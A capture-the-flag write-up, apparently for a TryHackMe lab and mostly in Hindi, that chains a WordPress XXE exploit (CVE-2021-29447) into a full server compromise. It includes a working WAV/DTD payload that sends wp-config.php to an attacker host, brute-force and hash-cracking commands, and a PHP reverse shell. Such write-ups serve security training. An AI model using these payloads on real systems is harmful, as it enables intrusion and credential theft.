
The objective is to conduct a full-scale security assessment of a WordPress-based web application, culminating in a complete server compromise. The assessment will focus on exploiting a specific, real-world vulnerability (CVE-2021-29447) to achieve initial access.
परियोजना लक्ष्य: एक कमजोर WordPress स्थापना पर पूर्ण आक्रमण श्रृंखला प्रदर्शित करना, CVE-2021-29447 (मीडिया लाइब्रेरी में XXE) का शोषण करके दूरस्थ कोड निष्पादन और पूर्ण सिस्टम समझौता प्राप्त करना।
चरण 1: टोही और गणना Nmap के साथ नेटवर्क स्कैनिंग:
# त्वरित SYN स्कैन खुले पोर्ट खोजने के लिए
nmap -sS -T4 10.201.3.95
# विस्तृत संस्करण और स्क्रिप्ट स्कैनिंग
nmap -sV -sC -p22,80,3306 10.201.3.95 -oA initial_scan
परिणाम:
PORT STATE SERVICE VERSION
22/tcp खुला ssh OpenSSH 7.2p2 Ubuntu
80/tcp खुला http Apache/2.4.18 (Ubuntu)
|_http-generator: WordPress 5.6.2
3306/tcp खुला mysql MySQL 5.7.33
WPScan के साथ WordPress गणना:
# उपयोगकर्ता गणना
wpscan --url http://10.201.3.95/ --enumerate u
# पासवर्ड ब्रूट-फोर्स आक्रमण
wpscan --url http://10.201.3.95/ --usernames test-corp --passwords passwords.txt
प्राप्त क्रेडेंशियल्स:
उपयोगकर्ता नाम: test-corp | पासवर्ड: test
उपयोगकर्ता नाम: corp-001 | पासवर्ड: teddybear (बाद में क्रैक किया गया)
चरण 2: प्रारंभिक पहुंच - XXE शोषण (CVE-2021-29447) दुर्भावनापूर्ण WAV फ़ाइल निर्माण:
echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.201.27.80:8000/yup.dtd'"'"'>%remote;%param;%send;]>\x00' > payload.wav
बाहरी DTD पेलोड (yup.dtd):
<!ENTITY % payload SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/wp-config.php">
<!ENTITY % param "<!ENTITY % send SYSTEM 'http://10.201.27.80:8000/?exfil=%payload;'>">
डेटा निकासी के लिए HTTP सर्वर:
python3 -m http.server 8000
डेटा डिकोडिंग PHP स्क्रिप्ट:
<?php
$base64 = "hVTbjpswEH3fr+CxlYLMLTc/blX1ZVO1m6qvlQNeYi3Y1IZc+vWd8RBCF1aVDZrxnDk+9gxYY1p+4REMiyaj90FpdhDu+FAIWRsNiBhG77DOWeYAcreYNpUplX7A1QtPYPj4PMhdHYBSGGixQp5mQToHVMZXy2Wace+yGylD96EUtUSmJV9FnBzPMzL/oawFilvxOOFospOwLBf5UTLvTvBVA/A1DDA82DXGVKxqillyVQF8A8ObPoGsCVbLM+rewvDmiJz8SUbX5SgmjnB6Z5RD/iSnseZyxaQUJ3nvVOR8PoeFaAWWJcU5LPhtwJurtchfO1QF5YHZuz6B7LmDVMphw6UbnDu4HqXL4AkWg53QopSWCDxsmq0s9kS6xQl2QWDbaUbeJKHUosWrzmKcX9ALHrsyfJaNsS3uvb+6VtbBB1HUSn+87X5glDlTO3MwBV4r9SW9+0UAaXkB6VLPqXd+qyJsFfQntXccYUUT3oeCHxACSTo/WqPVH9EqoxeLBfdn7EH0BbyIysmBUsv2bOyrZ4RPNUoHxq8U6a+3BmVv+aDnWvUyx2qlM9VJetYEnmxgfaaInXDdUmbYDp0Lh54EhXG0HPgeOxd8w9h/DgsX6bMzeDacs6OpJevXR8hfomk9btkX6E1p7kiohIN7AW0eDz8H+MDubVVgYATvOlUUHrkGZMxJK62Olbbdhaob0evTz89hEiVxmGyzbO0PSdIReP/dOnck9s2g+6bEh2Z+O1f3u/IpWxC05rvr/vtTsJf2Vpx3zv0X";
echo zlib_decode(base64_decode($base64));
?>
डेटाबेस क्रेडेंशियल्स निकाले गए:
define('DB_NAME', 'wordpressdb2');
define('DB_USER', 'thedarktangent');
define('DB_PASSWORD', 'sUp3rS3cret132');
define('DB_HOST', 'localhost');
चरण 3: डेटाबेस पहुंच और क्रेडेंशियल संग्रह MySQL कनेक्शन:
mysql -h 10.201.3.95 -u thedarktangent -p
निष्पादित SQL क्वेरी:
SHOW DATABASES;
USE wordpressdb2;
SHOW TABLES;
SELECT user_login, user_pass FROM wptry_users;
प्राप्त उपयोगकर्ता हैश:
+------------+------------------------------------+
| उपयोगकर्ता_लॉगिन | उपयोगकर्ता_पासवर्ड |
+------------+------------------------------------+
| corp-001 | $P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 |
| test-corp | $P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 |
+------------+------------------------------------+
John the Ripper के साथ पासवर्ड क्रैकिंग:
# हैश फ़ाइल बनाएं
cat > wp_hashes.txt << EOF
corp-001:\$P\$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1
test-corp:\$P\$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0
EOF
# हैश क्रैक करें
john --wordlist=/usr/share/wordlists/rockyou.txt wp_hashes.txt
john --show wp_hashes.txt
क्रैक किए गए पासवर्ड:
corp-001:teddybear
test-corp:test
चरण 4: विशेषाधिकार वृद्धि और RCE रिवर्स शेल पेलोड (संशोधित Hello Dolly प्लगइन):
<?php
// PHP रिवर्स शेल पेलोड
set_time_limit(0);
$VERSION = "1.0";
$ip = '10.201.27.80';
$port = 4444;
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/sh -i';
// ... पूर्ण रिवर्स शेल कोड ...
?>
Netcat लिसनर:
nc -nvlp 4444
शेल पहुंच प्राप्त:
Connection received on 10.201.3.95 42314
Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP
uid=33(www-data) gid=33(www-data) groups=33(www-data)
चरण 5: पोस्ट-एक्सप्लॉइटेशन (पूर्णता लंबित) अगले सत्र के लिए कमांड:
# फ्लैग खोज
find / -name flag.txt 2>/dev/null
find / -name root.txt 2>/dev/null
find / -name user.txt 2>/dev/null
# विशेषाधिकार वृद्धि गणना
sudo -l
find / -perm -u=s -type f 2>/dev/null
cat /etc/crontab
ps aux
uname -a
cat /etc/os-release
सुरक्षा निष्कर्ष और सिफारिशें पहचानी गई गंभीर कमजोरियाँ:
उपचारात्मक सिफारिशें:
परियोजना स्थिति: 90% पूर्ण - रिवर्स शेल प्राप्त, अंतिम फ्लैग कैप्चर और विशेषाधिकार वृद्धि नए IP असाइनमेंट की प्रतीक्षा में।
भाग 2 ! FLAG अंतिम चरण: पोस्ट-एक्सप्लॉइटेशन और फ्लैग कैप्चर उद्देश्य: पूर्ण सिस्टम समझौता प्राप्त करना और अंतिम फ्लैग कैप्चर करना।
किए गए कार्य:
रिवर्स शेल सक्रियण:
WordPress व्यवस्थापक पैनल (/wp-admin/plugin-editor.php) में hello.php प्लगइन फ़ाइल संपादित की।
हमारे Kali मशीन (10.201.6.187:4444) से कनेक्ट बैक करने के लिए कॉन्फ़िगर किया गया PHP रिवर्स शेल पेलोड डाला।
http://ip-10-201-46-113.ec2.internal/wp-content/plugins/hello.php तक पहुँच कर पेलोड निष्पादित किया।
सफल शेल पहुंच:
www-data उपयोगकर्ता के रूप में रिवर्स शेल कनेक्शन प्राप्त किया।
शेल आउटपुट:
Connection received on 10.201.46.113 46240
Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP
uid=33(www-data) gid=33(www-data) groups=33(www-data)
फ़ाइल सिस्टम अन्वेषण:
उपयोगकर्ता निर्देशिका खोजी: /home/stux/
फ्लैग निर्देशिका मिली: /home/stux/flag/
फ्लैग फ़ाइल स्थित: /home/stux/flag/flag.txt
फ्लैग निष्कर्षण:
निष्पादित कमांड: cat /home/stux/flag/flag.txt
फ्लैग कैप्चर किया गया: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
पूर्ण आक्रमण श्रृंखला सारांश
मुख्य सुरक्षा निष्कर्ष शोषित गंभीर कमजोरियाँ:
सुरक्षा सिफारिशें:
✅ नवीनतम WordPress संस्करण में तत्काल अद्यतन ✅ 2FA के साथ मजबूत पासवर्ड नीति लागू करें ✅ नियमित सुरक्षा पैचिंग और कमजोरी स्कैनिंग ✅ उपयोगकर्ता खातों के लिए कम से कम विशेषाधिकार का सिद्धांत ✅ फ़ाइल अपलोड कार्यक्षमता और XML प्रसंस्करण प्रतिबंधित करें
निष्कर्ष प्रोजेक्ट काइमेरा ने प्रारंभिक टोही से लेकर पूर्ण सिस्टम समझौते तक एक पूर्ण आक्रमण श्रृंखला का सफलतापूर्वक प्रदर्शन किया। इस अभ्यास ने इस बात पर प्रकाश डाला कि कैसे एक प्रतीत होने वाली छोटी XML पार्सिंग कमजोरी (CVE-2021-29447) को खराब सुरक्षा प्रथाओं के साथ जोड़कर पूर्ण सिस्टम अधिग्रहण प्राप्त किया जा सकता है।
परियोजना ने निम्नलिखित के महत्व पर जोर दिया:
अंतिम स्थिति: ✅ 100% पूर्ण - सभी उद्देश्य प्राप्त, फ्लैग कैप्चर किया गया: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
प्रोजेक्ट काइमेरा एक शक्तिशाली अनुस्मारक के रूप में कार्य करता है कि सुरक्षा के लिए गहराई में रक्षा की आवश्यकता है, क्योंकि एक एकल कमजोरी अन्य सुरक्षा कमजोरियों के साथ मिलकर पूर्ण सिस्टम समझौते का कारण बन सकती है।
| चरण | प्रयुक्त तकनीक | परिणाम |
|---|
| 1. टोही | Nmap स्कैनिंग | Apache/2.4.18 पर WordPress 5.6.2 खोजा |
| 2. प्रारंभिक पहुंच | WPScan + पासवर्ड ब्रूट-फोर्सिंग | test-corp:test के साथ व्यवस्थापक पहुंच प्राप्त |
| 3. कमजोरी शोषण | CVE-2021-29447 (XXE) | दुर्भावनापूर्ण WAV फ़ाइल के माध्यम से wp-config.php निकाला |
| 4. डेटा निकासी | MySQL क्रेडेंशियल संग्रह | DB क्रेडेंशियल प्राप्त: thedarktangent:sUp3rS3cret132 |
| 5. विशेषाधिकार वृद्धि | WordPress व्यवस्थापक कार्यक्षमता | रिवर्स शेल पहुंच प्राप्त करने के लिए प्लगइन संपादित किया |
| 6. अंतिम समझौता | सिस्टम अन्वेषण | /home/stux/flag/flag.txt में अंतिम फ्लैग कैप्चर किया |